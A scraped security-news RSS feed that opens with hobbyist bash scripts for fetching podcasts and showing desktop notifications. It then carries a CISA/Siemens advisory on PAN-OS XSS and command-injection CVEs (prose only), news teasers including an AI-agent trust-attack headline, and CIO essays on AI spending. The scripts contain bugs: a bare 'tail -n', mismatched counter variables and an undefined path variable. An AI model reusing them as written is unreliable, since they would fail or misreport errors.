echo "$podttimestamp Too many podcasts for $PodName : $PodCount." >> $tmppodserrors

else

# Download the podcasts listed in the temp file.

DownloadPodcasts

fi

fi

# ======================================================================

# Copy the errors log from the temporary errors file to the permanent files.

LogErrors

# Clean up temp files.

CleanupFiles "$tmppodsnew" "$tmppodstodownload" "$tmppodserrors" "$tmppodcastsfetched"

# ======================================================================

END OF FIRST SHELL SCRIPT

START OF SECOND SHELL SCRIPT

podfetchnotify

#!/bin/bash

# Part of Podfetch.

# This monitors for new files appearing in the new podcasts directory.

# This should be run as a background task.

# Install it using the "Startup Applications" utility in Ubuntu.

# ======================================================================

# Path where new podcasts are to be stored.

podfilepath="/home/me/Music/Podcasts/HPR"

# ======================================================================

# Wait for the podcast directory to be modified.

while true; do

# Check for new files.

errmsg=$( inotifywait -e modify -e create -e moved_to $podfilepath )

result=$?

# Check if exited due to new podcast, or if some error.

if (( result == 0 )); then

# Success, signal new podcast.

notify-send "New HPR podcast available."

else

# Check to make sure the directory exists.

# If it doesn't exist, there isn't much we can do to fix it.

if [ ! -e "$poderrorspath" ]; then

notify-send "Podfetch error: Podcast directory not found $poderrorspath"

exit 1

fi

fi

# Wait a bit so that multiple new files don't keep re-triggering the notification.

sleep 60

done

# ======================================================================

END OF SECOND SHELL SCRIPT

START OF THIRD SHELL SCRIPT

podfetcherror

Created Tuesday 23 June 2026

#!/bin/bash

# Part of Podfetch.

# This monitors the Podfetch error reporting file for new errors.

# This should be run as a background task.

# Install it using the "Startup Applications" utility in Ubuntu.

# ======================================================================

# Where the Podfetch program error report file is located.

poderrorspath="/home/me/Apps/hprfetch"

# The full path and file name.

poderrorsreport="$poderrorspath/poderrorsreport.txt"

# ======================================================================

# Error counter.

errcount=0

# Wait for the poderrorsreport file to be modified.

while true; do

errmsg=$( inotifywait -e modify $poderrorsreport )

result=$?

# Wait a bit to ensure that writing to the file is complete.

sleep 3

if (( result == 0 )); then

# Get the latest error message.

# Cut out the date stamp at the start of the line and take the rest.

poderr=$( tail -n $poderrorsreport | cut -d" " -f2- )

notify-send "Podfetch error: $poderr"

# Reset the error counter every time there is a successful result.

errcount=0

else

# Check to make sure the directory exists.

if [ ! -e "$poderrorspath" ]; then

notify-send "Podfetch error: error report path not found $poderrorspath"

exit 1

fi

# Check if the file we are trying to monitor exists.

# If not, then create an empty file for error signaling.

if [ ! -e "$poderrorsreport" ]; then

echo > $poderrorsreport

fi

# Increment the error counter.

count=$(( count + 1 ))

if (( count > 3 )); then

notify-send "Podfetch error: Excessive unknown errors, exiting."

exit 1

fi

fi

done

# ======================================================================

Provide feedback on this episode.

]]> <![CDATA[How Attackers Can Force AI Agents to Trust Them—and Rewrite Agents Reality]]> https://tsecurity.de/de/3684908/it-security-nachrichten/how-attackers-can-force-ai-agents-to-trust-them-and-rewrite-agents-reality/ https://tsecurity.de/de/3684908/it-security-nachrichten/how-attackers-can-force-ai-agents-to-trust-them-and-rewrite-agents-reality/ Tue, 21 Jul 2026 23:54:06 +0200 📰 IT Security Nachrichten tsecurity.de Inside the New Attack Class That Breaks the Security Model Behind Modern AI Assistants For decades, software security has relied on a deceptively simple principle: never let untrusted data becomeRead More →

The post How Attackers Can Force AI Agents to Trust Them—and Rewrite Agents Reality appeared first on Cyber Security News | Exploit One | Hacking News.

]]> <![CDATA[Don't Overbuild Your AI Workflow]]> https://tsecurity.de/de/3684718/it-security-video/dont-overbuild-your-ai-workflow/ https://tsecurity.de/de/3684718/it-security-video/dont-overbuild-your-ai-workflow/ Tue, 21 Jul 2026 21:23:43 +0200 đŸŽ„ IT Security Video tsecurity.de Author: Security Weekly - A CRA Resource - Bewertung: 0x - Views:8

Large codebases don't fit into a single LLM prompt. As projects grow, developers often need to split work into smaller pieces and guide the model with structured workflows.

That doesn't mean you should build an elaborate AI harness from day one. A simple workflow often delivers the biggest wins first. More advanced orchestration only becomes valuable when scale, token costs, or diminishing results make it worthwhile.

Have you found better results by keeping AI workflows simple, or has automation paid off early in your projects?

Subscribe to our podcasts: https://securityweekly.com/subscribe

#AppSec #LLM #SecurityWeekly #Cybersecurity #InformationSecurity #AI #InfoSec

]]> <![CDATA[How to Insert PDF into Word: 2 Simple Methods To Follow]]> https://tsecurity.de/de/3684579/betriebssysteme/how-to-insert-pdf-into-word-2-simple-methods-to-follow/ https://tsecurity.de/de/3684579/betriebssysteme/how-to-insert-pdf-into-word-2-simple-methods-to-follow/ Tue, 21 Jul 2026 20:03:30 +0200 đŸ–„ïž Betriebssysteme tsecurity.de Microsoft Word has always been the preferred productivity tool for most people, despite the availability of alternatives such as Google Docs. And that’s because of the plethora of options the app gives you to create, edit, and format texts. If you’ve ever wondered how to insert a PDF into Word, you’re not alone — it’s [
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The post How to Insert PDF into Word: 2 Simple Methods To Follow appeared first on AddictiveTips.

]]> <![CDATA[How to use commands in Minecraft]]> https://tsecurity.de/de/3684578/betriebssysteme/how-to-use-commands-in-minecraft/ https://tsecurity.de/de/3684578/betriebssysteme/how-to-use-commands-in-minecraft/ Tue, 21 Jul 2026 20:03:27 +0200 đŸ–„ïž Betriebssysteme tsecurity.de Minecraft as a game is simple to play if you’re not looking to build impressive structures. There’s plenty in it to explore and if you’re starting off, you may spend some time learning basic recipes but it’s not hard.  Outside the gameplay, there are a few tools and features in Minecraft that are worth learning [
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The post How to use commands in Minecraft appeared first on AddictiveTips.

]]> <![CDATA[What Version of Windows Do I Have? 3 Ways to Check]]> https://tsecurity.de/de/3684574/betriebssysteme/what-version-of-windows-do-i-have-3-ways-to-check/ https://tsecurity.de/de/3684574/betriebssysteme/what-version-of-windows-do-i-have-3-ways-to-check/ Tue, 21 Jul 2026 20:03:22 +0200 đŸ–„ïž Betriebssysteme tsecurity.de Ever wondered exactly which version of Windows is running on your computer? Knowing how to check your Windows version is crucial for troubleshooting, software compatibility, and ensuring you have the latest security updates. This article provides a simple guide on how to check what version of Windows you have, so you can stay informed and [
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The post What Version of Windows Do I Have? 3 Ways to Check appeared first on AddictiveTips.

]]> <![CDATA[Siemens RUGGEDCOM APE1808 with Palo Alto Networks Virtual NGFW]]> https://tsecurity.de/de/3684508/it-security-nachrichten/siemens-ruggedcom-ape1808-with-palo-alto-networks-virtual-ngfw/ https://tsecurity.de/de/3684508/it-security-nachrichten/siemens-ruggedcom-ape1808-with-palo-alto-networks-virtual-ngfw/ Tue, 21 Jul 2026 19:45:27 +0200 📰 IT Security Nachrichten tsecurity.de View CSAF

Summary

Palo Alto Networks has published [1] information on vulnerabilities in PAN-OS. This advisory lists the related Siemens Industrial products affected by these vulnerabilities. Customers are advised to consult and implement the workarounds provided in Palo Alto Networks' upstream security notifications. [1] https://security.paloaltonetworks.com/

The following versions of Siemens RUGGEDCOM APE1808 with Palo Alto Networks Virtual NGFW are affected:

  • RUGGEDCOM APE1808 vers:all/* 
CVSS Vendor Equipment Vulnerabilities
v3 7.2 Siemens Siemens RUGGEDCOM APE1808 with Palo Alto Networks Virtual NGFW Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), Missing Authorization, Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Background

  • Critical Infrastructure Sectors: Critical Manufacturing
  • Countries/Areas Deployed: Worldwide
  • Company Headquarters Location: Germany

Vulnerabilities

Expand All +

CVE-2026-0266

A cross-site scripting (XSS) vulnerability in Palo Alto Networks PAN-OSÂź software enables a malicious authenticated administrator to store a JavaScript payload using the web interface. This issue is applicable to PAN-OS software on PA-Series and VM-Series firewalls and on Panorama (virtual and M-Series). Cloud NGFW and PrismaÂź Access are not affected by this vulnerability.

View CVE Details

Affected Products

Siemens RUGGEDCOM APE1808 with Palo Alto Networks Virtual NGFW
Vendor:
Siemens
Product Version:
RUGGEDCOM APE1808 with Palo Alto Networks Virtual NGFW
Product Status:
known_affected
Remediations

Vendor fix
Contact customer support to receive patch and update information

Relevant CWE: CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Metrics

CVSS Version Base Score Base Severity Vector String
3.1 2.4 LOW CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:N

CVE-2026-0272

A privilege escalation vulnerability in Palo Alto Networks PAN-OSÂź software allows an authenticated administrator with access to the Command Line Interface (CLI) to perform actions on the device with root privileges. The security risk posed by this issue is significantly minimized when CLI access is restricted to a limited group of administrators and by restricting access to the management interface to only trusted internal IP addresses according to our recommended best practice deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 . This issue is applicable to PAN-OS software on PA-Series and VM-Series firewalls and on Panorama (virtual and M-Series). Cloud NGFW, and PrismaÂź Access are not impacted by this vulnerability.

View CVE Details

Affected Products

Siemens RUGGEDCOM APE1808 with Palo Alto Networks Virtual NGFW
Vendor:
Siemens
Product Version:
RUGGEDCOM APE1808 with Palo Alto Networks Virtual NGFW
Product Status:
known_affected
Remediations

Vendor fix
Contact customer support to receive patch and update information

Relevant CWE: CWE-862 Missing Authorization

Metrics

CVSS Version Base Score Base Severity Vector String
3.1 6.5 MEDIUM CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N

CVE-2026-0273

A command injection vulnerability in Palo Alto Networks PAN-OSÂź software enables an authenticated administrator to bypass system restrictions and run arbitrary commands as a root user. To be able to exploit this issue, the user must have access to the PAN-OS CLI or Web UI. The security risk posed by this issue is significantly minimized when CLI access is restricted to a limited group of administrators and by restricting access to the management web interface to only trusted internal IP addresses according to our recommended best practice deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 . This issue is applicable to PAN-OS software on PA-Series and VM-Series firewalls and on Panorama (virtual and M-Series). Cloud NGFW and PrismaÂź Access are not affected by this vulnerability.

View CVE Details

Affected Products

Siemens RUGGEDCOM APE1808 with Palo Alto Networks Virtual NGFW
Vendor:
Siemens
Product Version:
RUGGEDCOM APE1808 with Palo Alto Networks Virtual NGFW
Product Status:
known_affected
Remediations

Vendor fix
Contact customer support to receive patch and update information

Relevant CWE: CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Metrics

CVSS Version Base Score Base Severity Vector String
3.1 7.2 HIGH CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Acknowledgments

  • Siemens ProductCERT reported these vulnerabilities to CISA.

General Recommendations

As a general security measure, Siemens strongly recommends to protect network access to devices with appropriate mechanisms. In order to operate the devices in a protected IT environment, Siemens recommends to configure the environment according to Siemens' operational guidelines for Industrial Security (Download: https://www.siemens.com/cert/operational-guidelines-industrial-security), and to follow the recommendations in the product manuals. Additional information on Industrial Security by Siemens can be found at: https://www.siemens.com/industrialsecurity

Additional Resources

For further inquiries on security vulnerabilities in Siemens products and solutions, please contact the Siemens ProductCERT: https://www.siemens.com/cert/advisories

Terms of Use

The use of Siemens Security Advisories is subject to the terms and conditions listed on: https://www.siemens.com/productcert/terms-of-use.

Legal Notice and Terms of Use

This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy & Use policy (https://www.cisa.gov/privacy-policy).

Recommended Practices

CISA recommends users take defensive measures to minimize the exploitation risk of this vulnerability.

Minimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the internet.

Locate control system networks and remote devices behind firewalls and isolate them from business networks.

When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most recent version available. Also recognize VPN is only as secure as its connected devices.

CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.

CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.

CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets. Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.

Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.

Advisory Conversion Disclaimer

This ICSA is a verbatim republication of Siemens ProductCERT SSA-104023 from a direct conversion of the vendor's Common Security Advisory Framework (CSAF) advisory. This is republished to CISA's website as a means of increasing visibility and is provided "as-is" for informational purposes only. CISA is not responsible for the editorial or technical accuracy of republished advisories and provides no warranties of any kind regarding any information contained within this advisory. Further, CISA does not endorse any commercial product or service. Please contact Siemens ProductCERT directly for any questions regarding this advisory.

Revision History

  • Initial Release Date: 2026-07-14
Date Revision Summary
2026-07-14 1 Publication Date
2026-07-21 2 Initial CISA Republication of Siemens ProductCERT SSA-104023 advisory

Legal Notice and Terms of Use

]]> <![CDATA[USN-8578-1: CUPS control character injection vulnerability]]> https://tsecurity.de/de/3684268/unix-server/usn-8578-1-cups-control-character-injection-vulnerability/ https://tsecurity.de/de/3684268/unix-server/usn-8578-1-cups-control-character-injection-vulnerability/ Tue, 21 Jul 2026 18:03:06 +0200 🐧 Unix Server tsecurity.de <![CDATA[Ricky Gervais Says ‘Alley Cats’ Takes a New Approach to Adult Animation]]> https://tsecurity.de/de/3684263/ios-mac-os/ricky-gervais-says-alley-cats-takes-a-new-approach-to-adult-animation/ https://tsecurity.de/de/3684263/ios-mac-os/ricky-gervais-says-alley-cats-takes-a-new-approach-to-adult-animation/ Tue, 21 Jul 2026 17:59:51 +0200 🍏 iOS / Mac OS tsecurity.de <![CDATA[USN-8577-1: OpenSSH vulnerability]]> https://tsecurity.de/de/3684150/unix-server/usn-8577-1-openssh-vulnerability/ https://tsecurity.de/de/3684150/unix-server/usn-8577-1-openssh-vulnerability/ Tue, 21 Jul 2026 17:16:58 +0200 🐧 Unix Server tsecurity.de <![CDATA[Zimbra Patches Critical SNMP Command Injection and Four XSS Vulnerabilities]]> https://tsecurity.de/de/3684034/it-security-nachrichten/zimbra-patches-critical-snmp-command-injection-and-four-xss-vulnerabilities/ https://tsecurity.de/de/3684034/it-security-nachrichten/zimbra-patches-critical-snmp-command-injection-and-four-xss-vulnerabilities/ Tue, 21 Jul 2026 16:37:57 +0200 📰 IT Security Nachrichten tsecurity.de Zimbra has rolled out fixes to address multiple critical security issues, including a command injection flaw in the Simple Network Management Protocol (SNMP) monitoring component. As many as nine security vulnerabilities have been patched in Zimbra 10.1.20. Topping the list


Read more →

The post Zimbra Patches Critical SNMP Command Injection and Four XSS Vulnerabilities appeared first on IT Security News.

]]> <![CDATA[EEB urges Ireland to ensure simple climate rules deliver results]]> https://tsecurity.de/de/3683997/it-nachrichten/eeb-urges-ireland-to-ensure-simple-climate-rules-deliver-results/ https://tsecurity.de/de/3683997/it-nachrichten/eeb-urges-ireland-to-ensure-simple-climate-rules-deliver-results/ Tue, 21 Jul 2026 16:18:51 +0200 📰 IT Nachrichten tsecurity.de 'Can we please stop pretending environmental rules are a burden on Europe’s economy?' says EEB policy director Faustine Bas-Defossez.

Read more: EEB urges Ireland to ensure simple climate rules deliver results

]]> <![CDATA[Netflix Reveals LEGO One Piece Trailer, First Look and Surprise Cast Additions]]> https://tsecurity.de/de/3683974/ios-mac-os/netflix-reveals-lego-one-piece-trailer-first-look-and-surprise-cast-additions/ https://tsecurity.de/de/3683974/ios-mac-os/netflix-reveals-lego-one-piece-trailer-first-look-and-surprise-cast-additions/ Tue, 21 Jul 2026 16:12:47 +0200 🍏 iOS / Mac OS tsecurity.de <![CDATA[Zimbra Patches Critical SNMP Command Injection and Four XSS Vulnerabilities]]> https://tsecurity.de/de/3683967/it-security-nachrichten/zimbra-patches-critical-snmp-command-injection-and-four-xss-vulnerabilities/ https://tsecurity.de/de/3683967/it-security-nachrichten/zimbra-patches-critical-snmp-command-injection-and-four-xss-vulnerabilities/ Tue, 21 Jul 2026 16:10:27 +0200 📰 IT Security Nachrichten tsecurity.de <![CDATA[The AI allocation trap: Record spend, vanishing returns]]> https://tsecurity.de/de/3683786/it-nachrichten/the-ai-allocation-trap-record-spend-vanishing-returns/ https://tsecurity.de/de/3683786/it-nachrichten/the-ai-allocation-trap-record-spend-vanishing-returns/ Tue, 21 Jul 2026 15:18:28 +0200 📰 IT Nachrichten tsecurity.de

In a single month, one enterprise reportedly spent half a billion dollars on AI. A consultant told Axios that the client had handed its workforce AI licenses, set no usage limits and let the meter run until finance noticed. The figure is spectacular, and it is the wrong thing to fear. That half-billion-dollar accident is only the visible part of a quieter, far larger failure. Worldwide AI spending is forecast to reach $2.52 trillion in 2026, more than any technology category in a generation, and by the most cited measure, roughly 95 percent of it returns nothing. Boards read that as proof that the technology does not work. The evidence points somewhere less comfortable, and it is not a technology problem at all. Most boards cannot see it because they are reading the wrong number: They track failure when the number that matters is allocation. The discipline that separates the winners is not technical. It is how they allocate capital across time, and how willing they are to stop. The hardest discipline in the AI era is not adopting faster. It is allocating honestly and refusing to judge a three-year bet on a six-month cycle.

The number everyone quotes, and no one acts on

The headline statistic is now familiar. MIT’s Project NANDA, in its 2025 study The GenAI Divide, found that about 95 percent of enterprise generative AI pilots produced no measurable impact on the P&L, while roughly 5 percent captured nearly all the value. S&P Global Market Intelligence found that the share of companies abandoning most of their AI initiatives jumped from 17 percent to 42 percent in a single year, with the average organization scrapping 46 percent of its proofs-of-concept before production. Gartner expects more than 40 percent of agentic AI projects to be canceled by the end of 2027, citing escalating costs, unclear business value and inadequate risk controls. And the pattern predates generative AI: RAND found that more than 80 percent of AI projects fail, roughly twice the rate of comparable work that does not involve AI.

Read as a technology story, these numbers say AI does not work. Read correctly, they say something more useful. MIT’s own authors located the cause not in model quality but in a learning and integration gap. The winners were not running better models. They picked one problem, executed and worked well together. Purchased solutions reached production about 67 percent of the time, while internal builds succeeded roughly a third as often. Gartner’s own spending forecast notes the same pivot, with CIOs scaling back ambitious internal builds in favor of commercial solutions that promise more predictable value. None of that is a verdict on the technology. It is a verdict on allocation: What gets funded, for how long and against which yardstick. The popular prescription, heard in every boardroom this year, is to measure harder and prove value sooner. That advice quietly repeats the mistake, because forcing a three-year bet to prove itself sooner is precisely how you kill it. The fix is not more measurement. It is measuring each bet against the right clock and subtracting the ones that miss.

The six-month cycle problem

Return to that 95 percent, because the way it is measured is the whole argument. Much of the reported failure is judged on a short clock, with a pilot counted as a failure if it has not shown a measurable financial return within roughly six months. The single most quoted number in enterprise AI is therefore a six-month yardstick applied to every initiative, including the bets designed to pay back in three years. The headline failure rate is not only a measure of AI. It is a measure of impatience.

The most expensive mistake in enterprise AI is a timing error. Enterprises have been spending heavily on AI for more than two years, and 2026 is the year boards are demanding returns. The multi-year bets funded during the 2024 and 2025 scale-up are only now far enough along to be judged. When a board reviews an initiative, it applies the yardstick it knows, which is quarterly return. That yardstick is correct for an efficiency project and ruinous for a capability bet. A workflow automation that should pay back in two quarters and a foundational data and agent capability that pays back in three years are not the same instrument, yet they are reviewed in the same meeting against the same metric.

This is the heart of the divide. The 5 percent did not simply pick better projects. They judged each project against its own horizon. McKinsey’s enduring Three Horizons model made this discipline standard in corporate strategy a generation ago: near-term, emerging and long-term bets are funded and measured differently. AI erased that discipline because the hype compressed every timeline into the current quarter. The result is two failure modes that appear opposite yet share a common root. Organizations kill three-year bets at month six because they miss a metric the bet was never designed to hit. And they keep funding six-month theater for years because it is visible, safe and never asked to prove a return. Both are allocation failures. Neither is a technology failure.

Subtraction is a strategy

There is a second discipline, the 5 percent share, and it is the one boards find hardest. They subtract. Every credible study of the failure rate describes the same chaotic pattern underneath it: Initiatives are abandoned late, without criteria, after the money is spent and the credibility is gone. Disciplined organizations do the opposite. They decide the conditions for stopping before they start, and they stop on schedule. Subtraction is not the absence of strategy. It is the strategy. Capital removed from a failing bet is capital available for a surviving one, and the survivors are where the entire return lives.

This reframes the 42 percent abandonment figure. Abandonment is not the problem. Undisciplined abandonment is. An organization that liquidates a position the moment it breaches a pre-agreed kill line is practicing portfolio hygiene. An organization that lets a doomed pilot run until someone loses patience is paying full price for a lesson it could have bought at a discount. The 5 percent who won were not smarter. They were patient in the right places and ruthless in the wrong ones.

The HALT framework: Horizon, Allocation, Liquidation, Tracking

Treating AI as a portfolio rather than a pile of pilots requires four disciplines, and the organizations that execute well put all four in place before the next funding cycle, not after the next failure. The name is deliberate. The discipline most enterprises lack is the willingness to halt the wrong bets in time to fund the right ones.

Component 1: Horizon. Classify every AI initiative by its true payoff horizon before it is funded. Horizon 1 covers efficiency plays that should return value within two quarters. Horizon 2 covers capability bets, data foundations, agent platforms and integration work that pays back in roughly 6 to 18 months. Horizon 3 covers transformation bets that take eighteen months to three years or longer. Each horizon carries its own success metric, set at funding time. A Horizon 1 yardstick never judges a Horizon 3 bet. This single rule prevents the most common and most expensive error in the portfolio.

Component 2: Allocation. Decide the split across horizons deliberately, as a board-level capital decision, not as the accidental sum of whatever pilots happened to win approval. A practical reference point, borrowed from decades of innovation-portfolio practice, is roughly 70% to near-term value, 20% to capability, and 10% to transformation. The exact ratio is yours; the discipline is to choose and defend it. The failure mode is an unmanaged portfolio: 90 percent scattered across disconnected Horizon 1 experiments, with nothing compounding into the Horizon 2 capability that the buy-and-integrate winners actually built.

Component 3: Liquidation. Attach a kill line to every initiative at the moment it is funded: A named milestone, a date and an owner empowered to stop it. If a bet misses its horizon-appropriate milestone, it is liquidated, and capital is reallocated on schedule without debate over sunk costs. The absence of a pre-agreed kill line is not patience. It is an unpriced liability that the board has almost certainly not been shown.

Component 4: Tracking. Report the portfolio to the board on a fixed cadence using a single instrument: The AI Portfolio Scorecard. Not a deck of project updates, but a single view of allocation by horizon, burn against milestone, liquidation decisions taken and capital reallocated to survivors. The cadence is the control. A portfolio reviewed once a year is a portfolio managed by hope.

THE AI PORTFOLIO SCORECARD: SCORE EVERY INITIATIVE BEFORE IT IS FUNDED

Evaluation criterion012
Horizon assigned (H1 / H2 / H3) and documented before funding   
Success metric matched to the horizon, not a default quarterly ROI   
Kill line set: Named milestone and date, agreed at funding   
Owner named with explicit authority to stop the initiative   
Fits a deliberate allocation band, not an accidental addition   
Odds-raising path documented: Buy or partner and an integration plan   

Score each criterion: 0 = not present, 1 = partially documented, 2 = fully verified. Total out of 12. Bands: 0 to 4 = DO NOT FUND  |  5 to 8 = CONDITIONAL  |  9 to 12 = FUND.

THE LIQUIDATION GATE: RUN AT EVERY BOARD REVIEW BEFORE CONTINUING FUNDING

Review testStatus
Milestone for this horizon met or credibly on trackPASS / FAIL
Burn within plan to the next milestonePASS / FAIL
Still fits the allocation band, with no quiet horizon driftPASS / FAIL
Owner confirms continued strategic fitPASS / FAIL

Any unresolved FAIL = stop funding, liquidate the position, reallocate the capital to a survivor and record the decision on the scorecard.

The cost of the timing error

The financial case follows the pattern and is consistent. Consider two organizations that funded the same class of Horizon 3 bet: A domain-specific agent platform meant to compound over three years. The first review was conducted at month six against a quarterly return test, found no payback and killed it, booking the write-off as a lesson about AI being overhyped. Its competitor classified the same work as Horizon 3, set an 18-month capability milestone, protected funding through two review cycles and shipped to production within the window the work actually required. One organization spent its money to learn that it lacks allocation discipline. The other spent comparable money and now owns a capability its rival has abandoned and cannot quickly rebuild. The dollars on the two income statements are similar. The competitive positions are not.

The governance return the board has been waiting for

Allocation discipline does two things at once. It stops the bleed by liquidating failures on a schedule rather than at the point of exhaustion. And it concentrates capital where the entire return lives, in the small number of bets that survive their horizon. The 5 percent figure is not a ceiling imposed by the technology. It is the current yield of an industry allocated by hype. An organization that classifies by horizon, allocates on purpose, liquidates on a line and tracks on a cadence is not trying to beat the technology. It is trying to beat its own indiscipline, and that is a far more winnable contest.

The board conversation about AI returns is coming for every organization, and it arrives the moment the spending outpaces the story. When it does, the CIO will be asked a simple question: Where did the money go? The leaders who can answer will not show a pile of pilots. They will show a portfolio: What was funded, against which horizon, what was liquidated and when, and what the survivors are now worth. Subtraction is a strategy. The only question is whether you are practicing it on purpose or about to learn it by accident.

This article is published as part of the Foundry Expert Contributor Network.
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]]> <![CDATA[The token debate: What CIOs can learn from the laws of thermodynamics]]> https://tsecurity.de/de/3683604/it-nachrichten/the-token-debate-what-cios-can-learn-from-the-laws-of-thermodynamics/ https://tsecurity.de/de/3683604/it-nachrichten/the-token-debate-what-cios-can-learn-from-the-laws-of-thermodynamics/ Tue, 21 Jul 2026 14:03:52 +0200 📰 IT Nachrichten tsecurity.de

What if the next breakthrough in Enterprise AI doesn’t come from computer science alone?

What if it comes from applying principles that physicists have understood for more than a century?

According to Gartner, rising token-driven AI spend is straining budgets and challenging cost justification. As organizations race to deploy generative AI and agentic systems, token consumption dominates nearly every executive discussion: How many tokens did we use? How much did inference cost? Can we reduce our AI bill?

These are important operational questions. But they are not the strategic questions.

I believe the economics of enterprise AI can be viewed through the lens of three well-established principles from thermodynamics: the conservation of energy, entropy, and exergy.

While these principles describe physical systems — not AI —they offer a useful way to think about how organizations should measure AI success.

Principle 1: Value is created through transformation

The 1st Law of Thermodynamics tells us that energy cannot be created or destroyed. It can only be transformed.

Enterprise AI presents a similar management lesson: Tokens are not valuable because they are consumed; they become valuable only when they are transformed into business outcomes: A faster loan application decision. A better customer experience. Faster and more accurate software. Reduced fraud. Higher employee productivity. A new product. A strategic insight.

The executive question therefore is not, “How many tokens did we consume?” It is: “How much business value did those tokens create?”

This leads to a new executive metric: return on tokens (ROT).

Just as organizations measure return on investment, they should begin measuring the business value generated for every million AI tokens consumed.

The organizations that win will not necessarily consume fewer tokens. They will generate more value from every token they use.

Principle 2: Every transformation creates waste

The 2nd Law of Thermodynamics teaches us that every energy transformation introduces inefficiencies.

Some energy inevitably becomes less useful for doing work.

The same pattern appears in enterprise AI: Not every token contributes equally to business outcomes.

Some are spent on:

  • Repeated prompts
  • Oversized context windows
  • Redundant reasoning
  • Hallucinations requiring correction
  • Multiple agents performing the same work
  • Expensive models solving simple problems

Those tokens are not “lost.” They simply produce very little business value.

I think of this as token entropy. Every enterprise deploying AI will experience it. The goal is not to eliminate token entropy completely — that would be unrealistic. The goal is to continuously identify it, measure it and reduce it. Because every unnecessary token represents an opportunity to improve both cost and business performance.

Principle 3: Useful work matters more than energy consumed

Thermodynamics introduces another important idea: Exergy.

Unlike energy, exergy measures how much energy can actually be converted into useful work. Two systems may consume the same amount of energy while producing dramatically different results.

The same is true for enterprise AI.

Imagine two companies each consuming one billion tokens. One produces meeting summaries. The other transforms claims operations, accelerates software delivery, detects fraud, improves customer retention, and creates new revenue opportunities. Both consumed the same number of tokens. Only one extracted significantly more business value.

Borrowing this concept as a management analogy, I call this token exergy.

Token exergy represents an organization’s ability to convert AI intelligence into meaningful business outcomes:

  • High token exergy means AI is solving important business problems.
  • Low token exergy means AI is generating activity without creating proportional enterprise value.

The distinction matters, because activity is not the same as impact.

A new responsibility for CIOs

For years, CIOs have monitored infrastructure: Cloud costs, storage, network utilization, GPU consumption.

These metrics remain important, but they tell only part of the story.

Token usage needs to be measured, planned, optimized and governed with the same discipline as any other cloud resource. This means that the next generation of CIO dashboards should answer different questions:

  • What is our return on tokens?
  • Where is token entropy reducing our effectiveness?
  • How much token exergy are we generating?
  • Which AI initiatives produce the greatest business value?
  • Which use cases create the strongest competitive advantage?

These are no longer technology metrics. They are business metrics.

The next generation of CIOs will not simply deploy AI. They will manage an economy of intelligence.

Their role will resemble that of a portfolio manager — allocating AI capacity where it creates the greatest enterprise value, reducing waste and continuously improving the productivity of every autonomous workflow.

That responsibility cannot be fulfilled by dashboards alone.

It requires an intelligent layer capable of observing, learning and optimizing the entire AI  ecosystem. Three-layer enterprise agentic architecture Will enable this.

The next competitive advantage

Every major technology revolution eventually shifts from measuring inputs to measuring outcomes:

  • Factories stopped measuring coal consumption and began measuring productivity.
  • Cloud computing evolved beyond server utilization to business agility.
  • Digital businesses measured customer acquisition costs and lifetime value.

Enterprise AI is approaching the same inflection point. Organizations that focus only on token costs will optimize for efficiency. Organizations that measure return on tokens, minimize token entropy and maximize token exergy will optimize for business transformation.

That is a fundamentally different objective. And I believe it will separate AI leaders from AI followers.

Because in the end, the future of enterprise AI will not be determined by how many tokens an organization consumes. It will be determined by how effectively those tokens are transformed into lasting business value. The AI adoption spending spree is over. Time to focus on value.

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]]> <![CDATA[5 questions to ask before choosing a robot lawn mower, according to a lawnbot exec]]> https://tsecurity.de/de/3683602/it-nachrichten/5-questions-to-ask-before-choosing-a-robot-lawn-mower-according-to-a-lawnbot-exec/ https://tsecurity.de/de/3683602/it-nachrichten/5-questions-to-ask-before-choosing-a-robot-lawn-mower-according-to-a-lawnbot-exec/ Tue, 21 Jul 2026 14:03:49 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[The next AI bottleneck is not the model. It’s the infrastructure behind it]]> https://tsecurity.de/de/3683109/it-nachrichten/the-next-ai-bottleneck-is-not-the-model-its-the-infrastructure-behind-it/ https://tsecurity.de/de/3683109/it-nachrichten/the-next-ai-bottleneck-is-not-the-model-its-the-infrastructure-behind-it/ Tue, 21 Jul 2026 11:03:50 +0200 📰 IT Nachrichten tsecurity.de

Every enterprise AI conversation seems to begin with the same question: Which model should we use?

I understand why. Models are visible. They have names, benchmarks, release notes, pricing pages and impressive demos. They are easy to compare in a leadership meeting. One model promises better reasoning. Another offers a larger context window. Another appears faster, cheaper or more specialized.

But after years of working around enterprise platforms, integration layers, cloud migration, middleware, production operations and mission-critical systems, I see the AI conversation differently.

The model matters. But it is not where most enterprises will struggle next.

The next AI bottleneck is the infrastructure behind the model.

I do not mean only GPUs, cloud capacity or data storage. I mean the full enterprise operating layer that allows AI to work safely in the real world: data pipelines, identity, APIs, messaging, observability, security controls, deployment automation, cost governance, auditability, support ownership and recovery design.

That layer is what determines whether AI remains an exciting experiment or becomes a trusted business capability.

Pilots hide the hard part

